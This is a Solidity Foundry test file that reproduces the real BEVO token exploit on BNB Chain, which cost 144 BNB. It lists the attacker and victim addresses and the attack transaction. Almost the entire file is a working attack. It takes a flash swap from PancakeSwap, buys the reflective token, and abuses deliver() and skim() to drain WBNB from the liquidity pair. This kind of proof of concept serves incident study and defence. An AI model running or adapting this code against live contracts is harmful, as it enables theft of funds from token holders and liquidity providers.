// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.10; import "forge-std/Test.sol"; import "./../interface.sol"; // Total lost: 144 BNB // Frontrunner: https://bscscan.com/address/0xd3455773c44bf0809e2aeff140e029c632985c50 // Original Attacker: https://bscscan.com/address/0x68fa774685154d3d22dec195bc77d53f0261f9fd // Frontrunner Contract: https://bscscan.com/address/0xbec576e2e3552f9a1751db6a4f02e224ce216ac1 // Original Attack Contract: https://bscscan.com/address/0xbf7fc9e12bcd08ec7ef48377f2d20939e3b4845d // Vulnerable Contract: https://bscscan.com/address/0xc6cb12df4520b7bf83f64c79c585b8462e18b6aa // Attack Tx: https://bscscan.com/tx/0xb97502d3976322714c828a890857e776f25c79f187a32e2d548dda1c315d2a7d // @Analysis // https://twitter.com/QuillAudits/status/1620377951836708865 contract BEVOExploit is Test { IERC20 private constant wbnb = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c); reflectiveERC20 private constant bevo = reflectiveERC20(0xc6Cb12df4520B7Bf83f64C79c585b8462e18B6Aa); IUniswapV2Pair private constant wbnb_usdc = IUniswapV2Pair(0xd99c7F6C65857AC913a8f880A4cb84032AB2FC5b); IUniswapV2Pair private constant bevo_wbnb = IUniswapV2Pair(0xA6eB184a4b8881C0a4F7F12bBF682FD31De7a633); IPancakeRouter private constant router = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E)); CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D); function setUp() public { cheats.createSelectFork("bsc", 25_230_702); cheats.label(address(wbnb), "WBNB"); cheats.label(address(bevo), "BEVO"); cheats.label(address(wbnb_usdc), "PancakePair: WBNB-USDC"); cheats.label(address(bevo_wbnb), "PancakePair: BEVO-WBNB"); cheats.label(address(router), "PancakeRouter"); } function testExploit() external { // flashloan WBNB from PancakePair wbnb.approve(address(router), type(uint256).max); wbnb_usdc.swap(0, 192.5 ether, address(this), new bytes(1)); emit log_named_decimal_uint("WBNB balance after exploit", wbnb.balanceOf(address(this)), 18); } function pancakeCall( address, /*sender*/ uint256, /*amount0*/ uint256, /*amount1*/ bytes calldata /*data*/ ) external { address[] memory path = new address[](2); path[0] = address(wbnb); path[1] = address(bevo); router.swapExactTokensForTokensSupportingFeeOnTransferTokens( wbnb.balanceOf(address(this)), 0, path, address(this), block.timestamp ); bevo.deliver(bevo.balanceOf(address(this))); bevo_wbnb.skim(address(this)); bevo.deliver(bevo.balanceOf(address(this))); bevo_wbnb.swap(337 ether, 0, address(this), ""); wbnb.transfer(address(wbnb_usdc), 193 ether); } } /* -------------------- Interface -------------------- */ interface reflectiveERC20 { function transfer(address to, uint256 amount) external returns (bool); function approve(address spender, uint256 amount) external returns (bool); function balanceOf( address account ) external view returns (uint256); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); function deliver( uint256 tAmount ) external; }